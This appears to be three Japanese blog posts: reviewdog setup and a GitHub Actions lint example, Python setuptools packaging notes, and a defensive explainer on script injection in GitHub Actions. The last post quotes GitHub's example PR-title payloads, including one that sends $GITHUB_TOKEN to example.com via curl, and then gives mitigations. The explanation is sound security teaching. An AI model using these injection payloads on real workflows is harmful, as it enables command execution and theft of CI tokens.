【Github】reviewdog ~ 基本編 ~

■ はじめに

https://dk521123.hatenablog.com/entry/2024/04/13/232832

の続き。

前回は、reviewdog の Hello world 的なことを行ったが
今回は、もう少し掘り下げてみる。(徐々にではあるが)

目次

【1】インストール
【2】Input format
 1)errorformat
 2)-f={LinterName}
 3)Reviewdog Diagnostic Format (RDFormat)
 4)その他の方法
【3】Third partyの利用
 1)使用上の注意
 例1:reviewdog with SQLFluff「yu-iskw/action-sqlfluff」
【4】サンプル
 1)Third party「yu-iskw/action-sqlfluff」の使用例

【1】インストール

* reviewdog を自分のローカル環境にインストールする

Ubuntu

# Step1: Install the latest version. (Install it into ./bin/ by default).
curl -sfL https://raw.githubusercontent.com/reviewdog/reviewdog/master/install.sh | sh -s

# => 英語のコメントの通り「./bin/reviewdog」がインストールされたのでパスを通す
# Step2: Path を通す
vi ~/.bash_profile
~~~~~~
export PATH=home/user/bin:$PAT
~~~~~~

# 設定を即反映
source ~/.bash_profile

# Step3: 確認
reviewdog -version
# 0.17.3 など、Version情報が表示されたらOK

【2】Input format

https://github.com/reviewdog/reviewdog?tab=readme-ov-file#input-format

1)errorformat

* エラーメッセージのフォーマットを指定する

https://github.com/reviewdog/reviewdog?tab=readme-ov-file#errorformat

-efm="%f:%l:%c: %m"
 => {file}:{line number}:{column number}: {message}

https://vim-jp.org/vimdoc-en/quickfix.html#error-file-format

 => 以下「pylint のエラーメッセージ例」と比較すると分かりやすいかも

pylint のエラーメッセージ例

demo1.py:5:0: C0304: Final newline missing (missing-final-newline)
demo1.py:1:0: C0114: Missing module docstring (missing-module-docstring)
demo1.py:1:0: C0116: Missing function or method docstring (missing-function-docstring)
demo1.py:2:4: R1705: Unnecessary "else" after "return", remove the "else" and de-indent the code inside it (no-else-return)

2)-f={LinterName}

* サポート済のLinterを指定する

https://github.com/reviewdog/reviewdog?tab=readme-ov-file#available-pre-defined-errorformat

$ golint ./... | reviewdog -f=golint -diff="git diff FETCH_HEAD"

補足:reviewdog -list

* どの種類がサポートされているかは、以下のコマンドで調べられる

reviewdog -list

サポート一覧

Name Type Explanations URLs
rdjson Others Reviewdog Diagnostic JSON Format (JSON of DiagnosticResult message) https://github.com/reviewdog/reviewdog
rdjsonl Others Reviewdog Diagnostic JSONL Format (JSONL of Diagnostic message) https://github.com/reviewdog/reviewdog
diff Others Unified Diff Format https://en.wikipedia.org/wiki/Diff#Unified_format
checkstyle XML checkstyle XML format http://checkstyle.sourceforge.net/
sarif JSON SARIF JSON format https://sarifweb.azurewebsites.net/
ansible-lint ansible (ansible-lint -p playbook.yml) Checks playbooks for practices and behaviour that could potentially be improved https://github.com/ansible/ansible-lint
bandit Python A tool designed to find common security issues in Python code https://github.com/PyCQA/bandit.git
black Python A uncompromising Python code formatter https://github.com/psf/black
brakeman Ruby (brakeman --quiet --format tabs) A static analysis security vulnerability scanner for Ruby on Rails applications https://github.com/presidentbeef/brakeman
buf Others A new way of working with Protocol Buffers https://github.com/bufbuild/buf
cargo-check GO (cargo check -q --message-format=short) Check a local package and all of its dependencies for errors https://github.com/rust-lang/cargo
clippy Rust (cargo clippy -q --message-format=short) A bunch of lints to catch common mistakes and improve your Rust code https://github.com/rust-lang/rust-clippy
dotenv-linter Rust Lightning-fast linter for .env files. Written in Rust https://github.com/dotenv-linter/dotenv-linter
dotnet .NET (dotnet build -clp:NoSummary -p:GenerateFullPaths=true --no-incremental --nologo -v q) .NET Core CLI https://docs.microsoft.com/en-us/dotnet/core/tools/
erb-lint HTML (erblint --format compact) Lint your ERB or HTML files https://github.com/Shopify/erb-lint
eslint JavaScript (eslint [-f stylish]) A fully pluggable tool for identifying and reporting on patterns in JavaScript https://github.com/eslint/eslint
eslint-compact JavaScript (eslint -f compact) A fully pluggable tool for identifying and reporting on patterns in JavaScript https://github.com/eslint/eslint
fasterer Others Speed improvements suggester https://github.com/DamirSvrtan/fasterer
flake8 Python Tool for python style guide enforcement https://flake8.pycqa.org/
go-consistent GO Source code analyzer that helps you to make your Go programs more consistent https://github.com/quasilyte/go-consistent
golangci-lint GO (golangci-lint run --out-format=line-number) GolangCI-Lint is a linters aggregator. https://github.com/golangci/golangci-lint
golintvlinter GO for Go source code https://github.com/golang/lint
gosec GO (gosec -fmt=golint) Golang Security Checker https://github.com/securego/gosec
govet GO Vet examines Go source code and reports suspicious problems https://golang.org/cmd/vet/
haml-lint HAML Tool for writing clean and consistent HAML https://github.com/sds/haml-lint
hlint Haskell Linter for Haskell source code https://github.com/ndmitchell/hlint
isort Python A Python utility / library to sort Python imports https://github.com/PyCQA/isort
luacheck Lua (luacheck --formatter=plain) Lua linter and static analyzer https://github.com/luarocks/luacheck
misspell Others Correct commonly misspelled English words in source files https://github.com/client9/misspell
msbuild Others (msbuild /property:GenerateFullPaths=true /nologo /v:q) Microsoft Build Engine https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild
mypy Python An optional static type checker for Python http://mypy-lang.org/
pep8 Python Python style guide checker https://pypi.python.org/pypi/pep8
phpstan PHP (phpstan --error-format=raw) PHP Static Analysis Tool - discover bugs in your code without running it! https://github.com/phpstan/phpstan
protolint Others A pluggable linting utility for Protocol Buffer files https://github.com/yoheimuta/protolint
psalm PHP (psalm --output-format=text) Psalm is a static analysis tool for finding errors in PHP https://github.com/vimeo/psalm
puppet-lint Puppet Check that your Puppet manifests conform to the style guide https://github.com/rodjek/puppet-lint
pydocstyle Python A static analysis tool for checking compliance with Python docstring conventions https://github.com/PyCQA/pydocstyle
reek Ruby (reek --single-line) Code smell detector for Ruby https://github.com/troessner/reek
remark-lint Others Tool for writing clean and consistent markdown code https://github.com/remarkjs/remark-lint
rubocop Ruby A Ruby static code analyzer, based on the community Ruby style guide https://github.com/rubocop-hq/rubocop
sbt Scala the interactive build tool http://www.scala-sbt.org/
sbt-scalastyle Scala Scalastyle - SBT plugin http://www.scalastyle.org/sbt.html
scalac Scala Scala compiler http://www.scala-lang.org/
scalastyle Scala Scalastyle - Command line http://www.scalastyle.org/command-line.html
slim-lint Slim Tool to help keep your Slim files clean and readable https://github.com/sds/slim-lint
sorbet Ruby A fast, powerful type checker designed for Ruby https://github.com/sorbet/sorbet
standardjs JavaScript (standard) JavaScript style guide, linter, and formatter https://github.com/standard/standard
standardrb Ruby (standard) Ruby style guide, linter, and formatter https://github.com/testdouble/standard
staticcheck GO Golang Static Analysis https://staticcheck.io
stylelint CSS A mighty modern CSS linter https://github.com/stylelint/stylelint
tsc TypeScript TypeScript compiler https://www.typescriptlang.org/
tslint TypeScript An extensible linter for the TypeScript language https://github.com/palantir/tslint
typos Others Source code spell checker https://github.com/crate-ci/typos
yamllint Others (yamllint -f parsable) A linter for YAML files https://github.com/adrienverge/yamllint

3)Reviewdog Diagnostic Format (RDFormat)

* reviewdog 独自のフォーマットである 「rdjson」又は「rdjsonl」に変換する
 => 後述『例1:reviewdog with SQLFluff「yu-iskw/action-sqlfluff」』の内部では
  この方法を使って実装している模様
 => これを使いこなせれば、レビューの自動化が思い通りになりそう
 => 詳細は、以下の関連記事を参照のこと

reviewdog ~ RDFormat ~
https://dk521123.hatenablog.com/entry/2024/04/19/121312

4)その他の方法

* 上記以外にも以下の方法があるみたい
~~~~~
 + Diff
 + SARIF format(Static Analysis Results Interchange Format=静的解析結果交換フォーマット)
~~~~~

Diff
https://github.com/reviewdog/reviewdog?tab=readme-ov-file#diff
SARIF format
https://github.com/reviewdog/reviewdog?tab=readme-ov-file#sarif-format

【3】Third partyの利用

* 上記以外でThird partyが用意されていれば、
 それを利用するのが楽かも

1)使用上の注意

* Linter のバージョンに対応できないかもしれない点

例:yu-iskw/action-sqlfluff の場合

* 例えば、以下で紹介している「yu-iskw/action-sqlfluff」では、
 入力「sqlfluff_version(デフォルト:「2.3.0」)」があるが、
 SQLFluff v3 だと出力フォーマット v2 と変わっており
 現状(2024/04/19) は、この変更に対応できていない模様
 => もちろん、デフォルトで問題ないのであればいいと思うが、
  そういったこともあるって紹介、、、

https://github.com/yu-iskw/action-sqlfluff/blob/62f4245977b9afc9289acc7b69dbcbb872aa1f4c/action.yml#L43

例1:reviewdog with SQLFluff「yu-iskw/action-sqlfluff」

* reviewdog + SQLFluff とのラッパー 

https://github.com/yu-iskw/action-sqlfluff

Inputs
https://github.com/yu-iskw/action-sqlfluff/blob/62f4245977b9afc9289acc7b69dbcbb872aa1f4c/action.yml#L4
作成者のブログ?
https://yu-ishikawa.medium.com/automate-dbt-review-on-github-7bc1c70ebca3

【4】サンプル

1)Third party「yu-iskw/action-sqlfluff」の使用例

name: DemoForReviewdogs

on:
  - pull_request
jobs:
  demo-job:
    name: lint
    runs-on: ubuntu-latest
    steps:
      - name: Run checkout
        uses: actions/checkout@v4
      # ★ここに注目★
      - id: lint-sql
        name: Lint SQL
        uses: yu-iskw/action-sqlfluff@v3
        with:
          github_token: ${{ secrets.REVIEWDOG_GITHUB_API_TOKEN }}
          reporter: github-pr-review
          sqlfluff_command: "lint"
          paths: 'sqls/'
          dialect: snowflake
          fail_on_error: true
      - name: 'Show outputs (Optional)'
        shell: bash
        run: |
          echo '${{ steps.lint-sql.outputs.sqlfluff-results }}' | jq -r '.'
          echo '${{ steps.lint-sql.outputs.sqlfluff-results-rdjson }}' | jq -r '.'

NG.sql (テスト用SQL)

  SELECT a  +  b FROM tbl;     

関連記事

reviewdog ~ 入門編 ~
https://dk521123.hatenablog.com/entry/2024/04/13/232832
reviewdog ~ RDFormat ~
https://dk521123.hatenablog.com/entry/2024/04/19/121312
Github ~ 入門編 ~
https://dk521123.hatenablog.com/entry/2019/07/18/234652
Github Actions ~ 基礎知識編 ~
https://dk521123.hatenablog.com/entry/2021/11/04/142835
Github Actions ~ 入門編 ~
https://dk521123.hatenablog.com/entry/2022/06/16/151443
Github Actions ~ 基本編 ~
https://dk521123.hatenablog.com/entry/2023/12/22/195715
Github Actions ~ pull_request / pull_request_target ~
https://dk521123.hatenablog.com/entry/2024/04/10/152101
Github Actions ~ SQL Linter ~
https://dk521123.hatenablog.com/entry/2024/03/04/180308
Github Actions ~ GITHUB_TOKEN / permissions ~
https://dk521123.hatenablog.com/entry/2024/04/22/221027
SQL Linter ~ SQLFluff ~
https://dk521123.hatenablog.com/entry/2024/02/28/225002
GitHub CLI ~ 入門編 ~
https://dk521123.hatenablog.com/entry/2024/02/17/233836
jq コマンド ~ JSON を扱う ~
https://dk521123.hatenablog.com/entry/2020/02/01/000000
シェル ~ ファイル処理あれこれ ~
https://dk521123.hatenablog.com/entry/2020/09/28/000000

【Python】パッケージ配布 ~ setuptoolsあれこれ ~

■ はじめに

https://dk521123.hatenablog.com/entry/2024/03/19/000000

で、setuptoolsを使ったが、今日、色々と不具合対応して
学んだことがあったので、メモしておく

目次

【1】setup.py の 文法
 1)entry_points
【2】ヘルパー関数 find_packages()
 1)構文
 2)使用上の注意
【3】MANIFEST.in
 1)サンプル

【1】setup.py の 文法

https://github.com/pypa/sampleproject/blob/db5806e0a3204034c51b1c00dde7d5eb3fa2532e/setup.py

from setuptools import setup, find_packages

setup(
    name="sampleproject",  # Required
    version="2.0.0",  # Required
    description="A sample Python project",  # Optional
    long_description=long_description,  # Optional
    long_description_content_type="text/markdown",  # Optional (see note above)
    url="https://github.com/pypa/sampleproject",  # Optional
    author="A. Random Developer",  # Optional
    author_email="author@example.com",  # Optional
    classifiers=[  # Optional
        "Development Status :: 3 - Alpha",
        "Intended Audience :: Developers",
        "Topic :: Software Development :: Build Tools",
        "License :: OSI Approved :: MIT License",
        "Programming Language :: Python :: 3",
        "Programming Language :: Python :: 3.7",
        "Programming Language :: Python :: 3.8",
        "Programming Language :: Python :: 3.9",
        "Programming Language :: Python :: 3.10",
        "Programming Language :: Python :: 3 :: Only",
    ],
    keywords="sample, setuptools, development",  # Optional
    package_dir={"": "src"},  # Optional
    packages=find_packages(where="src"),  # Required
    python_requires=">=3.7, <4",
    install_requires=["peppercorn"],  # Optional
    extras_require={  # Optional
        "dev": ["check-manifest"],
        "test": ["coverage"],
    },
    package_data={  # Optional
        "sample": ["package_data.dat"],
    },
    entry_points={  # Optional
        "console_scripts": [
            "sample=sample:main",
        ],
    },
    project_urls={  # Optional
        "Bug Reports": "https://github.com/pypa/sampleproject/issues",
        "Funding": "https://donate.pypi.org",
        "Say Thanks!": "http://saythanks.io/to/example",
        "Source": "https://github.com/pypa/sampleproject/",
    },
)

1)entry_points

* 実行するファイルと関数を指定

ディレクトリ構成例

democli
├── demo
│   ├── __init__.py
│   └── hello.py

setup.py

    entry_points={
        "console_scripts": [
            #  demo/hello.py の main 関数を指定
            "demo=demo.hello:main",
        ]
    },

【2】ヘルパー関数 find_packages()

* setup.py の packages について、固定でも指定可能だが
 find_packages()を使った方が、便利

1)構文

    packages=find_packages()

Options
https://setuptools.pypa.io/en/latest/userguide/quickstart.html#package-discovery

from setuptools import setup, find_packages  # or find_namespace_packages

setup(
    # ...
    packages=find_packages(
        # All keyword arguments below are optional:
        where='src',  # '.' by default
        include=['mypackage*'],  # ['*'] by default
        exclude=['mypackage.tests'],  # empty by default
    ),
    # ...
)

2)使用上の注意

* package に「__init__.py」がないと
 パッケージとして認識されないので注意

ディレクトリ構成例

democli
├── demo
│   ├── sample
│   │       └──  world.py <- 「__init__.py」がないので「demo.sample」は認識されない
│   ├── __init__.py <- 「__init__.py」があるので「demo」は認識される
│   └── hello.py

【3】MANIFEST.in

* 設定ファイルを追加した場合とかに使う

https://packaging.python.org/ja/latest/guides/distributing-packages-using-setuptools/#manifest-in

より抜粋
~~~~~~~~~
自動的に追加されるファイル以外のファイルをソースコード配布物に追加したい場合には、
MANIFEST.in が必要になります。 
どんなファイルがデフォルトで自動的に追加されるのかも含めて、
MANIFEST.in の書き方の詳細については「MANIFEST.in の使い方」を見てください。
~~~~~~~~~

MANIFEST.in の使い方
https://setuptools.pypa.io/en/latest/userguide/miscellaneous.html#using-manifest-in

1)サンプル

https://github.com/sqlfluff/sqlfluff/blob/main/plugins/sqlfluff-plugin-example/MANIFEST.in

# 「src/sqlfluff_plugin_example/plugin_default_config.cfg」を追加
include src/sqlfluff_plugin_example/plugin_default_config.cfg

参考文献

MANIFEST.in
https://nikkie-ftnext.hatenablog.com/entry/python-packaging-setup-include-package-data-with-manifest-in

関連記事

パッケージ配布 ~ setup.pyによる作成方法 ~
https://dk521123.hatenablog.com/entry/2024/03/19/000000
パッケージ配布 ~ pyproject.tomlによる作成方法 ~
https://dk521123.hatenablog.com/entry/2024/03/28/000000
egg / wheel ファイルを作成する
https://dk521123.hatenablog.com/entry/2020/02/09/234350
パッケージ管理 ~ pip ~
https://dk521123.hatenablog.com/entry/2021/07/02/000000
オフライン環境下で pip install するには
https://dk521123.hatenablog.com/entry/2021/07/10/164833

【Github】Github Actions ~ セキュリティ/インジェクション攻撃 ~

■ はじめに

https://dk521123.hatenablog.com/entry/2024/04/05/000136

の続き。

CI/CDでは、自動的にデプロイするので
自然と比較的に強い権限が必要になる。

そのため、セキュリティに穴を開けると
かなり大事故になるので、セキュリティについて
徐々にではあるが、書き溜めていく。

今回は、インジェクション攻撃について扱う。

目次

【0】Github Actions の セキュリティ関連のドキュメント
【1】インジェクション攻撃
【2】インジェクション攻撃例
【3】対策案
 1)環境変数に定義し直す
 2)その他

【0】Github Actions の セキュリティ関連のドキュメント

公式ドキュメント

* 以下にある
 => ちょっと時間がある時にちゃんと読みたいが、、、

https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions

日本語サイト

* 上記のドキュメントは、英語なので、まずは、以下を読んでおくといいかも。
 上記のドキュメントに沿っているので。

https://engineering.mercari.com/blog/entry/20230609-github-actions-guideline/

【1】インジェクション攻撃

変数に悪意があるコマンドを埋め込むセキュリティ攻撃

【2】インジェクション攻撃例

公式ドキュメントに例がある

https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#example-of-a-script-injection-attack

      - name: Check PR title
        if: ${{ !cancelled() }}
        run: |
          title="${{ github.event.pull_request.title }}" # ★注目★
          if [[ $title =~ ^octocat ]]; then
            echo "PR title starts with 'octocat'"
            exit 0
          else
            echo "PR title did not start with 'octocat'"
            exit 1
          fi

解説

例えば、プルリクのタイトルを「a"; ls $GITHUB_WORKSPACE"」
にすると、
~~~~~
title="${{ github.event.pull_request.title }}"
# => title="a"; ls $GITHUB_WORKSPACE""
~~~~~
となり、「ls $GITHUB_WORKSPACE」が実行される
 => 任意のコマンドが実行できてしまう。
 => lsコマンド位ならまだしも、以下の公式で紹介されている
  「a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#」なんて
  実行されたらTOKEN盗まれて偉いことになる、、、

https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#stealing-the-jobs-github_token
実行結果例

Run title="a"; ls $GITHUB_WORKSPACE"" # 「a"; ls $GITHUB_WORKSPACE"」
DemoLib <= ls の実行結果
LICENSE
README.md
demo1.py
main.py
sqls
typescript
PR title did not start with 'octocat'
Error: Process completed with exit code 1.

【3】対策案

1)環境変数に定義し直す

* これが一番、気軽にできる

Using an intermediate environment variable
https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#using-an-intermediate-environment-variable

      - name: Check PR title
        env:
          # ★環境変数に定義し直す
          TITLE: ${{ github.event.pull_request.title }}
        run: |
          if [[ "$TITLE" =~ ^octocat ]]; then

2)その他

公式ドキュメントでは、インラインスクリプトを進めているので
こちらも考えておいたほうがいい

Using an action instead of an inline script (recommended)
https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#using-an-action-instead-of-an-inline-script-recommended
Using starter workflows for code scanning
https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#using-starter-workflows-for-code-scanning
Restricting permissions for tokens
https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#restricting-permissions-for-tokens

関連記事

Github ~ 入門編 ~
https://dk521123.hatenablog.com/entry/2019/07/18/234652
Github Actions ~ 基礎知識編 ~
https://dk521123.hatenablog.com/entry/2021/11/04/142835
Github Actions ~ 入門編 ~
https://dk521123.hatenablog.com/entry/2022/06/16/151443
Github Actions ~ 基本編 ~
https://dk521123.hatenablog.com/entry/2023/12/22/195715
Github Actions ~ pull_request / pull_request_target ~
https://dk521123.hatenablog.com/entry/2024/04/10/152101
Github Actions ~ セキュリティ/Third-Party Github Action ~
https://dk521123.hatenablog.com/entry/2024/04/05/000136
Github Actions ~ Self-hosted runners / 入門編 ~
https://dk521123.hatenablog.com/entry/2023/12/18/204119